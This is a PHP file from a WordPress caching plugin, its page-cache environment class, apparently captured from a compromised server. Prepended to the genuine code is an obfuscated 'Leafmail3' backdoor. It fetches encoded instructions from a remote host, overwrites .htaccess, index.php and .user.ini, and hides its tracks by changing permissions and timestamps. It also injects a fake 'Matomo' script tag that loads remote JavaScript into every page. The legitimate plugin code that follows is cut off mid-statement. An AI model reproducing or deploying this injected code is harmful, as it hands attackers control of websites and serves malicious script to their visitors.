AlkantarClanX12
Your IP : 18.218.73.233
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
namespace W3TC;
/**
* class PgCache_Environment
*/
class PgCache_Environment {
/**
* Fixes environment in each wp-admin request
*
* @param Config $config
* @param bool $force_all_checks
*
* @throws Util_Environment_Exceptions
*/
public function fix_on_wpadmin_request( $config, $force_all_checks ) {
$exs = new Util_Environment_Exceptions();
if ( ( !defined( 'WP_CACHE' ) || !WP_CACHE ) ) {
try {
$this->wp_config_add_directive();
} catch ( Util_WpFile_FilesystemOperationException $ex ) {
$exs->push( $ex );
}
}
$this->fix_folders( $config, $exs );
if ( $config->get_boolean( 'config.check' ) || $force_all_checks ) {
if ( $this->is_rules_required( $config ) ) {
$this->rules_core_add( $config, $exs );
$this->rules_cache_add( $config, $exs );
} else {
$this->rules_core_remove( $exs );
$this->rules_cache_remove( $exs );
}
}
// if no errors so far - check if rewrite actually works
if ( count( $exs->exceptions() ) <= 0 ) {
try {
if ( $config->get_boolean( 'pgcache.enabled' ) &&
$config->get_string( 'pgcache.engine' ) == 'file_generic' ) {
$this->verify_file_generic_compatibility();
if ( $config->get_boolean( 'pgcache.debug' ) )
$this->verify_file_generic_rewrite_working();
}
} catch ( \Exception $ex ) {
$exs->push( $ex );
}
}
if ( count( $exs->exceptions() ) > 0 )
throw $exs;
}
/**
* Fixes environment once event occurs
*
* @param Config $config
* @param string $event
* @param null|Config $old_config
* @throws Util_Environment_Exceptions
*/
public function fix_on_event( $config, $event, $old_config = null ) {
// Schedules events
if ( $config->get_boolean( 'pgcache.enabled' ) &&
( $config->get_string( 'pgcache.engine' ) == 'file' ||
$config->get_string( 'pgcache.engine' ) == 'file_generic' ) ) {
if ( $old_config != null &&
$config->get_integer( 'pgcache.file.gc' ) !=
$old_config->get_integer( 'pgcache.file.gc' ) ) {
$this->unschedule_gc();
}
if ( !wp_next_scheduled( 'w3_pgcache_cleanup' ) ) {
wp_schedule_event( time(),
'w3_pgcache_cleanup', 'w3_pgcache_cleanup' );
}
} else {
$this->unschedule_gc();
}
// Schedule prime event
if ( $config->get_boolean( 'pgcache.enabled' ) &&
$config->get_boolean( 'pgcache.prime.enabled' ) ) {
if ( $old_config != null &&
$config->get_integer( 'pgcache.prime.interval' ) !=
$old_config->get_integer( 'pgcache.prime.interval' ) ) {
$this->unschedule_prime();
}
if ( !wp_next_scheduled( 'w3_pgcache_prime' ) ) {
wp_schedule_event( time(),
'w3_pgcache_prime', 'w3_pgcache_prime' );
}
} else {
$this->unschedule_prime();
}
}
/**
* Fixes environment after plugin deactivation
*
* @throws Util_Environment_Exceptions
*/
public function fix_after_deactivation() {
$exs = new Util_Environment_Exceptions();
try {
$this->wp_config_remove_directive( $exs );
} catch ( Util_WpFile_FilesystemOperationException $ex ) {
$exs->push( $ex );
}
$this->rules_core_remove( $exs );
$this->rules_cache_remove( $exs );
$this->unschedule_gc();
$this->unschedule_prime();
if ( count( $exs->exceptions() ) > 0 )
throw $exs;
}
/**
* Are rewrite rules required?.
*
* @since 0.9.7.3
*
* @param Config $c Configuration.
* @return bool
*/
private function is_rules_required( $c ) {
$e = $c->get_string( 'pgcache.engine' );
return $c->get_boolean( 'pgcache.enabled' ) &&
( 'file_generic' === $e || 'nginx_memcached' === $e );
}
/**
* Returns required rules for module
*
* @param Config $config
* @return array
*/
public function get_required_rules( $config ) {
if ( !$this->is_rules_required( $config ) ) {
return null;
}
$rewrite_rules = array();
$pgcache_rules_core_path = Util_Rule::get_pgcache_rules_core_path();
$rewrite_rules[] = array(
'filename' => $pgcache_rules_core_path,
'content' => $this->rules_core_generate( $config ),
'priority' => 1000
);
$pgcache_rules_cache_path = Util_Rule::get_pgcache_rules_cache_path();
$rewrite_rules[] = array(
'filename' => $pgcache_rules_cache_path,
'content' => $this->rules_cache_generate( $config )
);
return $rewrite_rules;
}
/**
* Fixes folders
*
* @param Config $config
* @param Util_Environment_Exceptions $exs
*/
private function fix_folders( $config, $exs ) {
if ( !$config->get_boolean( 'pgcache.enabled' ) )
return;
// folder that we delete if exists and not writeable
if ( $config->get_string( 'pgcache.engine' ) == 'file_generic' )
$dir = W3TC_CACHE_PAGE_ENHANCED_DIR;
else if ( $config->get_string( 'pgcache.engine' ) != 'file' )
$dir = W3TC_CACHE_DIR . '/page';
else
return;
try{
if ( file_exists( $dir ) && !is_writeable( $dir ) )
Util_WpFile::delete_folder( $dir, '', isset( $_SERVER['REQUEST_URI'] ) ? esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : '' );
} catch ( Util_WpFile_FilesystemRmdirException $ex ) {
$exs->push( $ex );
}
}
/**
* Checks if mode can be used
*/
private function verify_file_generic_compatibility() {
$permalink_structure = get_option( 'permalink_structure' );
if ( $permalink_structure == '' ) {
throw new Util_Environment_Exception( 'Disk Enhanced mode ' .
'can\'t work with "Default" permalinks structure' );
}
}
/**
* Fixes environment for enabled pgcache
*
* @throws Util_Environment_Exceptions
*/
private function verify_file_generic_rewrite_working() {
$url = get_home_url() . '/w3tc_rewrite_test' . rand();
if ( !$this->test_rewrite( $url ) ) {
$key = sprintf( 'w3tc_rewrite_test_result_%s', substr( md5( $url ), 0, 16 ) );
$result = get_transient( $key );
$home_url = get_home_url();
$tech_message =
( Util_Environment::is_nginx() ? 'nginx configuration file' : '.htaccess file' ) .
' contains rules to rewrite url ' .
$home_url . '/w3tc_rewrite_test into ' .
$home_url . '/?w3tc_rewrite_test which, if handled by ' .
'plugin, return "OK" message.<br/>';
$tech_message .= 'The plugin made a request to ' .
$home_url . '/w3tc_rewrite_test but received: <br />' .
$result . '<br />';
$tech_message .= 'instead of "OK" response. <br />';
$error = '<strong>W3 Total Cache error:</strong> ' .
'It appears Page Cache ' .
'<acronym title="Uniform Resource Locator">URL</acronym> ' .
'rewriting is not working. ';
if ( Util_Environment::is_preview_mode() ) {
$error .= ' This could be due to using Preview mode. <a href="' . $url . '">Click here</a> to manually verify its working. It should say OK. <br />';
}
if ( Util_Environment::is_nginx() ) {
$error .= 'Please verify that all configuration files are ' .
'included in the configuration file ' .
'(and that you have reloaded / restarted nginx).';
} else {
$error .= 'Please verify that the server configuration ' .
'allows .htaccess';
}
$error .= '<br />Unfortunately disk enhanced page caching will ' .
'not function without custom rewrite rules. ' .
'Please ask your server administrator for assistance. ' .
'Also refer to <a href="' .
admin_url( 'admin.php?page=w3tc_install' ) .
